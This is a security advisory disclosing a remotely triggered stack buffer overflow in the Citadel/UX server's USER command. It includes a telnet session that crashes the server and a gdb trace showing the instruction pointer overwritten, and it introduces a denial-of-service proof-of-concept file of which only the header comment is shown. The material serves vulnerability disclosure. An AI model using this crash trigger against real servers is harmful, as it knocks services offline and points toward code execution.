Citadel/UX is an advanced client/server messaging and collaboration system for BBS and groupware applications. Users can connect to Citadel/UX using any telnet, WWW, or client software. Among the features supported are public and private message bases (rooms), electronic mail, real-time chat, paging, etc. The server is multithreaded and can easily support a large number of concurrent users. In addition, SMTP, IMAP, and POP3 servers are built-in for easy connection to Internet mail. Citadel/UX is both robust and mature, having been developed over the course of the past thirteen years.
The Citadel collaberation server is vulnerable to a classic stack overflow when receiving a long USER command.
Credit:
The information has been provided by CoKi.
Vulnerable Systems:
* Citadel/UX version 6.23 and prior
When sending a USER command to the Citadel/UX server on port (504) which is longer than 97 bytes, the application crashes and the EIP is overwritten. Example: coki@servidor:~$ telnet localhost 504
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
200 servidor Citadel/UX server ready.
USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA
Connection closed by foreign host.
coki@servidor:~$
Using gdb to debug the process can show what is happening: root@servidor:~# ps -ax | grep "citserver -d"
20147 pts/2 S 0:00 /usr/local/citadel/citserver -d root@servidor:~# gdb citserver 20147
GNU gdb 5.3
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show
warranty" for details. This GDB was configured as
"i386-slackware-linux"...citserver: No such file or directory.
Attaching to process 20147
Reading symbols from /usr/local/citadel/citserver...done.
Reading symbols from /lib/libpthread.so.0...done.
Loaded symbols for /lib/libpthread.so.0
Reading symbols from /lib/libncurses.so.5...done.
Loaded symbols for /lib/libncurses.so.5
Reading symbols from /lib/librt.so.1...done.
Loaded symbols for /lib/librt.so.1
Reading symbols from /usr/lib/libz.so.1...done.
Loaded symbols for /usr/lib/libz.so.1
Reading symbols from /lib/libresolv.so.2...done.
Loaded symbols for /lib/libresolv.so.2
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_compat.so.2...done.
Loaded symbols for /lib/libnss_compat.so.2
Reading symbols from /lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
0x401072e1 in sigpending () from /lib/libc.so.6 (gdb) c
Continuing.
Program received signal SIG32, Real-time event 32.
0x401072e1 in sigpending () from /lib/libc.so.6 (gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? () (gdb) i r esp ebp eip
esp 0xbfffc890 0xbfffc890
ebp 0x61616161 0x61616161
eip 0x61616161 0x61616161 (gdb) q
The program is running. Quit anyway (and detach it)? (y or n) y
Detaching from program: /usr/local/citadel/citserver, process 20147 root@servidor:~#
The server does a tolower() (converts an uppercase letter to the corresponding lowercase letter) on the buffer before the overflow occurs, thus limiting the number of instructions we can use. Provided below is an exploit code for this vulnerability:
--------------------------------- Begin Code: citadel_dos.c ---------------------------------
/* citadel_dos.c
*
* Citadel/UX Remote DoS exploit (Proof of Concept)
*
* Tested in Slackware 9.0.0 / 9.1.0 / 10.0.0
*
* by CoKi <coki@nosystem.com.ar>
* No System Group - http://www.nosystem.com.ar
*/